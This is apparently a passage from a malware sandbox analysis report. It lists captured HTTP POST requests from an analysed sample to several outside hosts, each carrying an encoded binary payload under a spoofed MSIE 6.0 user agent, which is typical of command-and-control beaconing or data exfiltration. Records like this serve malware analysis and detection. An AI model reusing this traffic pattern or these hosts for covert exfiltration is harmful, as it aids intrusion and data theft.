6f 48 63 56 79 47 65 6e 45 61 4e 6e 41 71 6b 39 70 30 6a 36 5a 4c 4f 75 67 63 49 72 76 4a 66 50 63 70 78 79 70 72 2b 73 55 63 4f 52 6d 69 72 48 55 58 73 6b 48 4a 67 5a 35 46 54 76 7a 6f 53 68 37 62 51 37 79 50 6f 2f 41 66 36 61 43 68 71 31 72 71 54 2b 6f 50 6b 66 63 63 41 63 68 71 66 6e 4c 61 7a 51 72 45 4c 34 54 65 47 52 64 79 65 57 35 6c 64 76 6b 64 63 79 42 66 7a 6d 36 77 4f 4a 32 32 30 6d 77 37 74 68 78 66 75 36 56 34 6d 48 50 71 2f 4d 61 30 52 62 6f 78 2f 6d 59 59 36 52 6a 72 67 58 58 37 56 34 53 6b 48 4c 32 2f 30 51 76 54 6a 2f 48 6c 4c 43 35 52 33 4e 6b 55 64 62 52 4e 55 34 34 50 54 6b 33 58 67 54 34 68 73 32 4a 45 4d 66 64 76 55 4d 4f 58 5a 4a 44 4c 64 51 63 39 4c 4e 61 6a 35 42 52 56 6d 69 79 35 47 68 56 43 62 38 54 53 45 68 42 32 4c 63 4b 33 37 39 50 71 33 52 61 2b 2f 47 69 7a 37 54 7a 66 73 66 4c 52 57 2b 6c 4a 58 57 33 6c 61 4d 4d 74 48 57 41 48 59 4e 6d 4e 6c Data Ascii: eNev9e3XSRMspz6V5FhcuabigBPbjcuDcd+ondF/iJCROs+zlpYjRcxFRDxSUax9L3VuWGCPUm37DZf0GldHkVLyytuCGbxap3PccmB36HF0GuvCH/pPqNRDv8kHu+PqPJffNNFHbVzxNkb5Z2uNdXywuT9ly+qFG5RMUSb170lnvk2itZOFTouBH1aHA3uiyvLTC30xcDenApYxNg0tSWo2ojUfhFMvtWP7xCCEEAGTYEtmGuB+c2n2bgcaCz/wT0wN19qX8oHcVyGenEaNnAqk9p0j6ZLOugcIrvJfPcpxypr+sUcORmirHUXskHJgZ5FTvzoSh7bQ7yPo/Af6aChq1rqT+oPkfccAchqfnLazQrEL4TeGRdyeW5ldvkdcyBfzm6wOJ220mw7thxfu6V4mHPq/Ma0Rbox/mYY6RjrgXX7V4SkHL2/0QvTj/HlLC5R3NkUdbRNU44PTk3XgT4hs2JEMfdvUMOXZJDLdQc9LNaj5BRVmiy5GhVCb8TSEhB2LcK379Pq3Ra+/Giz7TzfsfLRW+lJXW3laMMtHWAHYNmNl
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.sjbs.orgCache-Control: no-cacheData Raw: 47 34 4f 65 61 57 51 34 32 52 4b 41 48 49 34 67 2f 36 69 79 50 7a 64 52 32 68 6f 63 32 66 4b 32 32 4e 73 6f 68 55 78 77 59 34 7a 30 32 70 56 69 32 72 51 73 36 4b 4c 2f 49 51 52 35 68 6c 49 58 45 38 54 71 65 6a 68 72 6e 71 4b 79 49 47 54 74 42 48 52 38 48 57 54 4b 6e 37 39 53 57 6f 43 42 72 66 67 64 42 58 6a 51 4f 67 45 6d 44 6a 30 51 54 4d 35 65 7a 35 61 4b 2b 62 69 49 4e 32 54 76 33 31 43 71 67 72 71 7a 70 38 36 55 56 4a 58 54 4c 45 48 30 78 58 68 2b 69 4f 41 5a 30 2b 50 41 50 74 62 43 6a 34 45 33 6f 57 68 6f 36 78 49 6b 41 48 30 62 52 46 65 57 42 67 6c 74 32 75 79 6a 48 49 57 44 52 37 72 34 6b 33 53 6f 6f 4e 4c 35 56 37 71 61 4c 59 69 75 4f 52 4b 54 58 41 65 36 4f 51 71 78 4a 67 4c 31 59 45 70 30 47 6c 62 65 4f 59 32 67 68 4b 69 48 48 43 43 57 4b 79 34 64 57 79 6b 77 51 42 54 74 78 38 73 51 4e 5a 73 64 56 4c 55 70 4c 68 45 4a 2b 6d 6f 72 4c 77 30 62 6b 49 4d 4d 38 7a 49 46 64 58 4b 54 36 5a 4f 61 7a 41 65 79 76 42 48 52 41 6d 72 34 39 41 6e 75 71 51 44 4d 48 73 4a 44 41 67 31 73 2b 68 33 66 4b 72 4b 71 48 53 73 58 56 37 65 2f 34 30 66 6d 43 44 68 54 37 34 36 55 41 34 35 4e 6f 66 68 31 72 57 5a 45 4c 57 4a 59 75 36 57 74 44 6f 4b 65 64 6c 77 53 65 30 4f 36 31 79 4f 42 43 37 55 73 59 62 51 63 6f 6f 37 5a 7a 7a 45 76 2f 4d 2f 63 44 45 75 5a 5a 4f 70 63 31 59 75 46 31 63 68 65 41 70 74 4d 5a 77 69 41 64 51 71 76 53 39 33 55 77 55 65 4d 6e 74 42 72 79 49 43 4a 55 73 79 4d 6b 6e 70 42 61 79 6c 50 70 6f 37 35 4f 46 74 77 47 6c 59 6e 6f 4b 42 4b 32 6a 54 2f 2b 6d 34 75 78 73 63 77 56 77 49 7a 53 70 71 68 70 35 44 65 6a 38 70 55 55 6d 2f 38 59 37 42 71 68 72 36 35 30 39 42 31 55 50 57 35 4c 5a 52 6c 41 53 2f 4e 34 78 75 6d 6a 58 43 54 46 56 76 46 47 57 41 47 62 6e 4a 59 33 6a 39 6e 48 62 6a 31 39 38 4e 72 4f 51 3d 3d Data Ascii: G4OeaWQ42RKAHI4g/6iyPzdR2hoc2fK22NsohUxwY4z02pVi2rQs6KL/IQR5hlIXE8TqejhrnqKyIGTtBHR8HWTKn79SWoCBrfgdBXjQOgEmDj0QTM5ez5aK+biIN2Tv31Cqgrqzp86UVJXTLEH0xXh+iOAZ0+PAPtbCj4E3oWho6xIkAH0bRFeWBglt2uyjHIWDR7r4k3SooNL5V7qaLYiuORKTXAe6OQqxJgL1YEp0GlbeOY2ghKiHHCCWKy4dWykwQBTtx8sQNZsdVLUpLhEJ+morLw0bkIMM8zIFdXKT6ZOazAeyvBHRAmr49AnuqQDMHsJDAg1s+h3fKrKqHSsXV7e/40fmCDhT746UA45Nofh1rWZELWJYu6WtDoKedlwSe0O61yOBC7UsYbQcoo7ZzzEv/M/cDEuZZOpc1YuF1cheAptMZwiAdQqvS93UwUeMntBryICJUsyMknpBaylPpo75OFtwGlYnoKBK2jT/+m4uxscwVwIzSpqhp5Dej8pUUm/8Y7Bqhr6509B1UPW5LZRlAS/N4xumjXCTFVvFGWAGbnJY3j9nHbj198NrOQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 536User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.xaicom.esCache-Control: no-cacheData Raw: 53 72 4b 4d 62 59 31 6b 4f 78 4b 39 6f 44 71 6f 42 44 78 49 70 55 59 30 67 46 4c 37 6c 6f 44 50 45 53 62 39 45 66 56 4e 31 44 4c 38 34 33 41 69 47 33 57 35 38 66 54 4e 78 46 78 6a 6e 38 67 68 31 4a 62 42 66 66 58 4c 33 55 47 68 73 2f 55 36 7a 47 32 36 73 41 62 4f 69 6d 57 71 5a 68 39 5a 75 38 5a 64 41 6d 6a 7a 6a 2f 57 61 79 63 43 32 34 38 47 4e 52 31 59 44 61 6c 74 4f 7a 65 48 58 6c 67 61 36 45 78 63 61 4a 47 33 7a 58 51 5a 32 6b 47 67 46 2f 37 46 30 66 45 51 4a 6a 62 79 53 4c 48 51 57 49 64 4e 31 30 50 30 6c 73 62 37 4c 45 32 4a 6f 44 6f 58 54 76 47 52 69 48 56 46 33 31 67 6f 58 42 66 30 66 71 64 6e 6d 52 39 31 6c 63 72 32 4c 46 61 67 64 51 43 42 6c 59 70 2f 62 6c 6a 36 77 4f 57 69 6e 65 55 2b 47 43 52 6e 53 42 68 2b 41 44 73 50 6b 7a 56 34 44 6d 62 31 57 46 41 6b 49 56 41 71 61 56 50 64 51 45 78 53 43 50 51 69 61 46 68 79 4f 62 42 62 78 4c 31 72 69 66 30 58 54 34 6f 48 39 67 4f 2b 5a 71 47 36 75 4f 50 4b 54 55 79 41 62 6c 77 76 68 55 33 31 6c 49 38 2f 61 55 48 51 2f 4b 43 45 49 69 53 44 68 65 79 67 4a 69 43 70 35 46 55 54 58 47 52 64 53 69 72 72 59 49 47 4b 45 73 69 45 48 47 51 43 41 70 47 6c 2b 2b 77 35 51 73 45 61 4a 32 4e 43 39 4b 2f 7a 6d 64 35 51 31 56 48 63 6c 66 52 66 4d 6a 6f 42 71 46 75 76 68 69 38 63 43 38 4f 32 30 4f 6f 64 77 37 30 35 32 4a 37 64 7a 78 43 43 46 56 5a 52 35 45 30 79 39 75 66 77 71 76 64 67 31 64 2f 32 6e 58 35 54 62 55 41 57 4e 37 67 30 6f 69 33 2f 67 67 63 2f 47 45 64 62 46 6e 69 4e 46 36 37 42 69 39 75 70 6b 39 31 6e 38 62 37 35 54 75 30 45 39 52 79 6e 59 36 36 67 62 69 61 43 71 68 57 46 77 73 35 58 31 46 36 32 6a 4f 75 63 67 6c 39 71 48 57 2f 52 38 Data Ascii: SrKMbY1kOxK9oDqoBDxIpUY0gFL7loDPESb9EfVN1DL843AiG3W58fTNxFxjn8gh1JbBffXL3UGhs/U6zG26sAbOimWqZh9Zu8ZdAmjzj/WaycC248GNR1YDaltOzeHXlga6ExcaJG3zXQZ2kGgF/7F0fEQJjbySLHQWIdN10P0lsb7LE2JoDoXTvGRiHVF31goXBf0fqdnmR91lcr2LFagdQCBlYp/blj6wOWineU+GCRnSBh+ADsPkzV4Dmb1WFAkIVAqaVPdQExSCPQiaFhyObBbxL1rif0XT4oH9gO+ZqG6uOPKTUyAblwvhU31lI8/aUHQ/KCEIiSDheygJiCp5FUTXGRdSirrYIGKEsiEHGQCApGl++w5QsEaJ2NC9K/zmd5Q1VHclfRfMjoBqFuvhi8cC8O20Oodw7052J7dzxCCFVZR5E0y9ufwqvdg1d/2nX5TbUAWN7g0oi3/ggc/GEdbFniNF67Bi9upk91n8b75Tu0E9RynY66gbiaCqhWFws5X1F62jOucgl9qHW/R8
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.2print.comCache-Control: no-cacheData Raw: 47 31 49 71 75 46 41 47 2f 52 4b 57 6d 47 6e 4b 34 79 57 63 6f 51 4d 57 48 6c 42 34 71 79 41 2b 68 4c 4c 4d 69 44 4e 39 30 30 69 7a 2f 79 6f 46 7a 47 55 46 30 58 41 32 42 55 45 38 43 77 43 67 53 44 57 78 66 4e 6a 76 4a 4c 7a 78 6a 44 43 31 39 77 74 7a 63 77 47 62 4c 33 39 6c 61 73 42 4a 78 51 49 47 55 2f 2b 64 69 4e 6c 47 53 43 64 35 4e 4d 52 36 47 32 4c 79 32 45 48 71 52 38 7a 4e 77 6e 39 68 31 39 59 73 58 43 4c 6e 2b 59 49 6a 61 55 73 47 43 67 34 77 39 69 70 78 5a 2f 65 43 37 6a 52 65 32 43 77 70 70 4d 4f 6f 75 6c 69 2f 6e 45 4e 62 31 49 50 63 45 5a 48 2b 68 6b 53 67 4f 4f 78 79 32 30 32 56 61 76 71 59 72 2b 78 75 4c 61 59 51 70 47 63 66 63 70 78 47 68 2b 47 79 76 62 75 30 64 43 76 77 4d 33 48 58 43 77 39 70 4c 2b 55 5a 47 54 6b 32 43 73 39 78 52 42 75 39 37 33 7a 4a 32 4a 43 39 4c 32 42 5a 4e 4d 69 46 7a 65 6c 56 5a 65 39 65 34 31 31 4d 5a 46 46 56 61 75 69 68 62 73 67 48 78 75 4a 43 68 37 5a 54 44 41 69 55 74 44 35 75 67 4b 4c 32 33 47 73 59 49 31 6a 43 46 58 69 58 61 41 56 68 39 46 2b 2b 43 56 75 44 31 5a 64 59 6b 76 62 6d 78 34 72 41 77 56 6b 6d 32 77 52 54 6d 56 69 4b 72 76 53 44 51 57 79 70 4e 42 55 31 55 71 6d 34 74 5a 6c 73 6b 6f 4e 78 69 6e 30 6a 75 59 45 71 49 42 57 50 72 46 44 64 74 61 6a 75 46 78 6e 52 65 48 6b 72 59 44 6d 32 50 43 53 4a 4e 7a 65 4e 33 72 36 52 68 49 4a 61 55 4c 43 74 4a 69 77 43 31 5a 33 6b 67 69 74 79 49 75 4b 4b 4d 36 30 38 61 65 37 35 55 6c 32 47 59 35 30 72 4a 2f 47 32 64 6f 65 2f 45 4f 46 4c 49 33 70 5a 49 46 53 50 45 79 52 31 75 6d 73 58 56 66 4a 61 79 36 31 54 73 59 52 38 44 6b 67 71 31 53 77 71 4d 2f 74 48 79 58 38 36 35 43 58 61 37 6d 50 6a 76 72 49 5a 6f 35 68 50 78 5a 5a 4d 47 33 39 6f 56 46 53 4e 30 76 6d 67 2b 47 71 47 31 37 58 47 6e 53 48 52 31 47 34 77 64 6d 35 57 54 4f 59 3d Data Ascii: G1IquFAG/RKWmGnK4yWcoQMWHlB4qyA+hLLMiDN900iz/yoFzGUF0XA2BUE8CwCgSDWxfNjvJLzxjDC19wtzcwGbL39lasBJxQIGU/+diNlGSCd5NMR6G2Ly2EHqR8zNwn9h19YsXCLn+YIjaUsGCg4w9ipxZ/eC7jRe2CwppMOouli/nENb1IPcEZH+hkSgOOxy202VavqYr+xuLaYQpGcfcpxGh+Gyvbu0dCvwM3HXCw9pL+UZGTk2Cs9xRBu973zJ2JC9L2BZNMiFzelVZe9e411MZFFVauihbsgHxuJCh7ZTDAiUtD5ugKL23GsYI1jCFXiXaAVh9F++CVuD1ZdYkvbmx4rAwVkm2wRTmViKrvSDQWypNBU1Uqm4tZlskoNxin0juYEqIBWPrFDdtajuFxnReHkrYDm2PCSJNzeN3r6RhIJaULCtJiwC1Z3kgityIuKKM608ae75Ul2GY50rJ/G2doe/EOFLI3pZIFSPEyR1umsXVfJay61TsYR8Dkgq1SwqM/tHyX865CXa7mPjvrIZo5hPxZZMG39oVFSN0vmg+GqG17XGnSHR1G4wdm5WTOY=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 532User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.kernsafe.comCache-Control: no-cacheData Raw: 34 4a 63 41 4c 34 54 78 35 78 4c 71 2f 78 70 56 6e 38 39 55 4d 6c 63 4c 47 73 36 38 32 4e 2f 38 2b 4a 36 72 64 6f 4b 70 34 49 33 4c 45 46 54 2b 7a 78 49 31 4e 55 67 69 71 31 71 45 76 2b 67 64 6c 35 52 79 61 34 30 4f 46 4d 51 57 74 73 6e 53 43 77 34 67 64 68 53 55 59 2f 6c 68 47 35 77 52 4d 4c 37 75 30 37 6f 44 61 72 4c 64 47 66 73 2b 79 6e 43 33 4d 38 55 59 38 49 4b 62 78 72 78 43 35 78 30 6c 5a 71 53 74 45 62 6d 70 72 53 52 45 78 44 48 62 71 71 62 78 39 52 79 62 36 48 62 4e 36 63 35 48 6a 78 35 78 54 61 5a 4a 55 32 39 50 47 2b 2b 35 37 33 39 78 2f 51 39 4a 38 4d 42 42 39 4b 49 6d 54 58 64 7a 62 65 53 69 41 50 33 66 43 48 7a 5a 6d 54 52 7a 65 49 51 50 74 78 71 75 64 46 55 4b 78 37 4e 66 33 6d 62 4f 4d 39 79 71 69 4a 49 44 35 68 6d 35 2f 53 78 77 77 67 6e 63 30 50 30 4d 78 39 31 30 38 32 53 31 31 38 51 6f 73 6c 2b 77 52 61 69 6a 7a 52 72 69 39 39 74 56 55 77 35 56 43 4a 4e 43 51 49 71 70 6f 75 4e 37 2b 73 74 47 72 73 50 68 31 44 53 49 33 58 62 65 4d 79 33 59 2b 6e 63 73 65 30 52 63 78 50 43 35 59 30 64 34 57 52 4c 32 6a 33 39 6a 4a 66 4e 56 7a 63 50 71 71 76 36 2f 46 4f 50 78 36 47 32 4f 53 77 68 64 78 67 47 53 79 43 64 36 74 67 59 4c 4c 74 64 51 55 76 6d 32 76 6d 55 52 41 50 51 2f 74 39 37 59 67 72 4e 71 61 70 61 73 69 41 50 36 42 4a 4a 37 2f 67 61 79 50 41 6a 41 79 44 44 4c 4c 31 6b 4b 66 78 65 55 58 33 6f 70 61 4d 46 78 48 39 50 51 32 59 63 67 56 7a 70 50 46 37 49 72 64 42 38 48 43 47 65 59 36 4e 75 75 32 65 38 46 50 6c 6b 4a 2b 54 7a 61 70 38 75 43 77 49 64 67 4b 36 4c 53 68 44 70 6c 69 79 78 53 7a 4a 4f 58 61 34 52 52 2b 30 36 44 74 4c 76 38 4a 31 38 6f 35 67 76 59 Data Ascii: 4JcAL4Tx5xLq/xpVn89UMlcLGs682N/8+J6rdoKp4I3LEFT+zxI1NUgiq1qEv+gdl5Rya40OFMQWtsnSCw4gdhSUY/lhG5wRML7u07oDarLdGfs+ynC3M8UY8IKbxrxC5x0lZqStEbmprSRExDHbqqbx9Ryb6HbN6c5Hjx5xTaZJU29PG++5739x/Q9J8MBB9KImTXdzbeSiAP3fCHzZmTRzeIQPtxqudFUKx7Nf3mbOM9yqiJID5hm5/Sxwwgnc0P0Mx91082S118Qosl+wRaijzRri99tVUw5VCJNCQIqpouN7+stGrsPh1DSI3XbeMy3Y+ncse0RcxPC5Y0d4WRL2j39jJfNVzcPqqv6/FOPx6G2OSwhdxgGSyCd6tgYLLtdQUvm2vmURAPQ/t97YgrNqapasiAP6BJJ7/gayPAjAyDDLL1kKfxeUX3opaMFxH9PQ2YcgVzpPF7IrdB8HCGeY6Nuu2e8FPlkJ+Tzap8uCwIdgK6LShDpliyxSzJOXa4RR+06DtLv8J18o5gvY
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 588User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.x0c.comCache-Control: no-cacheData Raw: 31 62 51 49 48 2b 68 6a 42 46 37 6d 46 2f 39 71 71 33 59 65 68 46 74 2f 33 5a 37 77 52 47 72 4c 6e 4f 56 45 51 6e 68 31 4f 75 36 58 46 69 4a 75 73 6a 66 6c 5a 74 32 49 6c 50 65 47 57 64 6f 76 33 4f 2f 54 38 33 71 35 48 57 4c 50 4b 49 30 61 76 49 58 6e 42 34 63 78 52 57 30 4c 59 6c 5a 6c 71 32 74 2f 7a 5a 48 45 73 44 77 72 59 67 66 55 32 57 42 68 70 55 74 69 57 66 61 63 51 49 71 78 61 79 55 69 42 73 30 72 78 6f 52 70 63 64 50 78 65 45 64 59 46 43 4e 2b 4f 50 66 73 41 49 2f 32 63 76 49 2b 74 50 2b 51 34 55 38 5a 79 53 2b 41 65 75 51 78 47 6f 4f 7a 50 74 50 55 73 52 55 74 54 67 59 61 38 67 50 61 39 57 70 65 4a 37 2b 7a 7a 57 44 77 4e 6c 61 62 2f 6d 2b 74 70 39 70 38 57 71 6c 54 75 57 30 4c 37 70 78 6b 39 77 73 39 58 54 69 42 4d 79 42 76 59 35 70 59 5a 63 63 42 6b 53 35 69 34 51 33 32 75 5a 6b 71 4d 53 56 78 46 64 66 7a 6e 32 74 4c 65 32 61 6a 77 59 57 6b 30 4c 4e 6f 78 46 38 78 37 65 31 31 36 4f 75 75 64 4d 50 4e 50 30 2b 61 6a 48 4b 56 6c 39 4e 63 42 2f 57 4c 36 64 36 42 57 6f 4b 63 49 66 30 31 43 78 59 57 71 66 47 38 7a 6a 38 79 48 59 36 51 72 49 75 48 39 50 69 4b 72 5a 41 69 2f 54 6a 66 57 6c 7a 45 42 31 6b 2f 47 34 6a 30 59 54 58 6f 33 68 78 46 74 35 4c 56 41 57 67 4f 31 4b 6d 56 5a 65 58 4f 45 39 2b 37 55 6f 33 52 6b 36 6f 50 36 44 44 6e 4a 4e 46 57 49 30 53 5a 47 2f 36 61 69 54 45 2f 58 70 64 31 43 53 7a 48 51 4a 33 36 38 6d 72 48 53 65 6f 69 72 59 2b 78 5a 75 76 33 6a 63 65 36 2b 78 2f 59 74 45 59 33 51 6e 45 33 4b 63 4f 44 64 57 72 32 49 69 34 75 66 36 79 31 38 68 68 48 4d 73 6e 7a 5a 6a 62 4a 42 41 30 35 37 39 66 7a 4a 76 49 2b 69 2f 54 68 43 2f 66 4b 64 6d 6c 7a 46 44 75 57 67 6f 58 2b 65 6d 73 66 30 52 31 39 41 74 6b 74 59 69 43 44 42 55 46 73 4c 68 6a 4c 71 79 6e 35 2b 69 73 47 66 65 4f 59 78 69 4f 76 6d 6d 35 79 63 67 3d 3d Data Ascii: 1bQIH+hjBF7mF/9qq3YehFt/3Z7wRGrLnOVEQnh1Ou6XFiJusjflZt2IlPeGWdov3O/T83q5HWLPKI0avIXnB4cxRW0LYlZlq2t/zZHEsDwrYgfU2WBhpUtiWfacQIqxayUiBs0rxoRpcdPxeEdYFCN+OPfsAI/2cvI+tP+Q4U8ZyS+AeuQxGoOzPtPUsRUtTgYa8gPa9WpeJ7+zzWDwNlab/m+tp9p8WqlTuW0L7pxk9ws9XTiBMyBvY5pYZccBkS5i4Q32uZkqMSVxFdfzn2tLe2ajwYWk0LNoxF8x7e116OuudMPNP0+ajHKVl9NcB/WL6d6BWoKcIf01CxYWqfG8zj8yHY6QrIuH9PiKrZAi/TjfWlzEB1k/G4j0YTXo3hxFt5LVAWgO1KmVZeXOE9+7Uo3Rk6oP6DDnJNFWI0SZG/6aiTE/Xpd1CSzHQJ368mrHSeoirY+xZuv3jce6+x/YtEY3QnE3KcODdWr2Ii4uf6y18hhHMsnzZjbJBA0579fzJvI+i/ThC/fKdmlzFDuWgoX+emsf0R19AtktYiCDBUFsLhjLqyn5+isGfeOYxiOvmm5ycg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.maktraxx.comCache-Control: no-cacheData Raw: 66 50 53 53 41 53 49 63 66 42 4f 66 55 2f 4d 77 6c 65 31 44 62 4b 58 78 79 76 4f 79 77 74 52 46 64 6c 53 35 4c 30 44 72 50 48 74 4b 49 34 63 78 53 2f 58 56 6e 51 34 4b 51 4c 70 68 49 56 41 4e 62 4b 32 69 43 75 44 69 6d 50 4d 75 6c 65 41 62 56 59 31 65 36 2f 59 75 63 70 74 58 43 4e 77 69 6a 54 50 6a 54 32 32 57 65 69 57 51 4b 5a 6a 7a 7a 6a 2f 61 6d 43 54 72 39 6d 45 78 79 38 52 71 5a 4f 78 72 79 34 54 31 6f 34 61 55 4b 2f 68 50 4e 6e 7a 2f 66 44 67 71 34 39 37 69 53 30 7a 4a 76 2b 53 6a 6c 74 30 4b 4f 68 47 76 57 64 41 34 30 51 74 36 38 56 44 2f 63 74 55 41 78 75 73 4e 39 61 54 5a 41 53 6f 6e 62 6b 47 75 65 49 6a 31 53 6e 42 2f 6e 36 35 69 37 47 30 73 6b 4a 65 6c 59 65 68 77 67 6d 38 54 45 62 30 39 64 43 79 36 35 31 50 52 5a 39 76 71 6b 4e 41 50 69 53 74 34 74 33 59 4a 4d 58 74 57 70 4b 79 72 70 67 4e 50 65 33 50 56 35 68 39 74 71 65 2b 64 35 57 41 45 4f 44 2f 64 56 62 44 6f 4a 2f 76 4c 41 37 5a 66 6a 79 6f 79 41 74 45 39 30 34 2f 53 66 30 2f 31 38 75 5a 41 45 72 58 72 52 31 64 37 32 73 36 61 5a 37 38 68 50 46 36 51 33 62 70 63 76 34 59 6b 79 76 46 4a 6a 77 77 34 4e 51 69 34 48 52 38 58 79 64 65 7a 6f 72 67 78 77 6b 6d 70 48 68 79 6a 66 37 30 79 36 2b 4d 39 34 56 2b 79 6d 6d 68 49 68 72 51 2f 70 34 34 68 58 52 50 67 78 49 70 59 75 36 53 6d 70 57 68 4c 67 33 53 39 32 34 44 6f 6d 76 33 41 47 72 2f 4c 6e 64 38 34 66 55 36 49 74 66 61 6a 43 66 6d 33 41 41 53 52 4f 51 49 4f 67 5a 6e 7a 68 68 66 4b 64 58 47 62 49 36 4c 51 76 37 6a 63 45 74 61 62 31 67 49 61 42 68 57 2b 78 79 34 78 79 68 54 67 59 36 6f 6e 75 6f 4e 72 69 47 31 57 68 56 63 4a 69 32 53 64 79 54 52 43 4e 6c 50 37 43 52 4d 4f 41 41 61 6c 63 4f 67 4c 67 64 34 39 33 50 74 54 41 6e 70 34 6c 49 36 57 69 6e 58 56 74 77 71 79 67 59 2b 52 52 4e 39 2f 72 62 5a 59 48 6a 6e 4d Data Ascii: fPSSASIcfBOfU/Mwle1DbKXxyvOywtRFdlS5L0DrPHtKI4cxS/XVnQ4KQLphIVANbK2iCuDimPMuleAbVY1e6/YucptXCNwijTPjT22WeiWQKZjzzj/amCTr9mExy8RqZOxry4T1o4aUK/hPNnz/fDgq497iS0zJv+Sjlt0KOhGvWdA40Qt68VD/ctUAxusN9aTZASonbkGueIj1SnB/n65i7G0skJelYehwgm8TEb09dCy651PRZ9vqkNAPiSt4t3YJMXtWpKyrpgNPe3PV5h9tqe+d5WAEOD/dVbDoJ/vLA7ZfjyoyAtE904/Sf0/18uZAErXrR1d72s6aZ78hPF6Q3bpcv4YkyvFJjww4NQi4HR8XydezorgxwkmpHhyjf70y6+M94V+ymmhIhrQ/p44hXRPgxIpYu6SmpWhLg3S924Domv3AGr/Lnd84fU6ItfajCfm3AASROQIOgZnzhhfKdXGbI6LQv7jcEtab1gIaBhW+xy4xyhTgY6onuoNriG1WhVcJi2SdyTRCNlP7CRMOAAalcOgLgd493PtTAnp4lI6WinXVtwqygY+RRN9/rbZYHjnM
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 528User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jacomfg.comCache-Control: no-cacheData Raw: 58 37 4c 65 67 4a 56 37 48 42 4e 43 66 4a 57 6d 66 4a 65 72 6e 34 35 49 48 34 32 6a 33 72 45 6d 6d 57 45 4c 32 4a 47 45 30 71 61 2f 74 56 35 65 5a 70 78 4a 2b 71 41 47 78 6d 73 66 4b 57 43 42 6b 4b 30 55 45 45 62 7a 4c 62 51 53 59 6d 54 35 63 66 53 2b 70 49 72 71 4f 41 41 50 46 30 70 75 74 41 36 59 75 57 67 4f 63 6c 65 63 77 74 5a 32 34 72 78 79 67 46 50 7a 43 58 4a 49 4d 38 6a 41 45 5a 4f 6c 55 35 4d 73 57 76 6d 33 4e 49 52 77 56 30 69 31 2b 34 7a 49 34 61 33 31 51 31 6e 4f 46 58 4b 6b 6a 73 71 6a 61 6b 62 46 43 55 4e 45 36 56 6b 75 75 6f 6b 6b 6b 65 55 65 59 54 6c 75 62 63 2b 51 58 77 53 6a 50 38 74 37 53 37 61 43 37 49 76 53 30 46 68 39 39 6d 6a 46 62 74 6b 73 65 47 4d 6f 65 52 66 75 39 6a 54 61 2f 50 48 48 4b 7a 6e 2f 56 74 34 47 72 30 56 75 4c 56 64 4d 39 52 67 79 6a 34 52 33 42 33 78 76 4c 67 37 51 46 65 53 71 55 61 50 7a 39 4f 70 6c 66 30 37 45 32 6d 36 4e 44 44 78 54 31 30 4b 6d 30 66 36 31 53 73 31 50 47 2f 36 47 32 65 43 4d 36 2b 45 46 37 54 7a 57 47 70 4b 58 50 6a 6a 7a 57 34 31 57 4b 47 7a 5a 51 36 77 70 6e 66 69 41 38 63 55 6f 67 72 4c 37 38 6b 49 34 30 38 66 52 30 6e 77 66 53 5a 6b 6d 44 44 36 75 4e 42 73 55 31 45 67 43 65 6d 6d 49 2f 4f 39 4e 37 76 46 51 48 2b 31 6c 59 79 49 68 32 35 58 65 30 7a 6c 37 54 4a 68 53 56 71 7a 41 49 68 2b 44 51 47 4b 46 6d 6a 6b 42 5a 5a 6c 39 35 33 55 79 66 42 51 2f 72 44 42 61 76 5a 64 67 35 44 7a 68 6d 74 6c 4b 41 48 50 44 68 4b 66 37 56 70 4c 6a 6f 45 74 6e 32 62 4d 46 63 75 79 4b 51 48 7a 72 46 65 50 52 30 38 4f 64 39 73 77 72 58 63 58 5a 79 5a 39 56 78 4a 39 57 51 67 52 41 6e 4c 41 34 64 51 65 6e 6f 4d 77 73 Data Ascii: X7LegJV7HBNCfJWmfJern45IH42j3rEmmWEL2JGE0qa/tV5eZpxJ+qAGxmsfKWCBkK0UEEbzLbQSYmT5cfS+pIrqOAAPF0putA6YuWgOclecwtZ24rxygFPzCXJIM8jAEZOlU5MsWvm3NIRwV0i1+4zI4a31Q1nOFXKkjsqjakbFCUNE6VkuuokkkeUeYTlubc+QXwSjP8t7S7aC7IvS0Fh99mjFbtkseGMoeRfu9jTa/PHHKzn/Vt4Gr0VuLVdM9Rgyj4R3B3xvLg7QFeSqUaPz9Oplf07E2m6NDDxT10Km0f61Ss1PG/6G2eCM6+EF7TzWGpKXPjjzW41WKGzZQ6wpnfiA8cUogrL78kI408fR0nwfSZkmDD6uNBsU1EgCemmI/O9N7vFQH+1lYyIh25Xe0zl7TJhSVqzAIh+DQGKFmjkBZZl953UyfBQ/rDBavZdg5DzhmtlKAHPDhKf7VpLjoEtn2bMFcuyKQHzrFePR08Od9swrXcXZyZ9VxJ9WQgRAnLA4dQenoMws
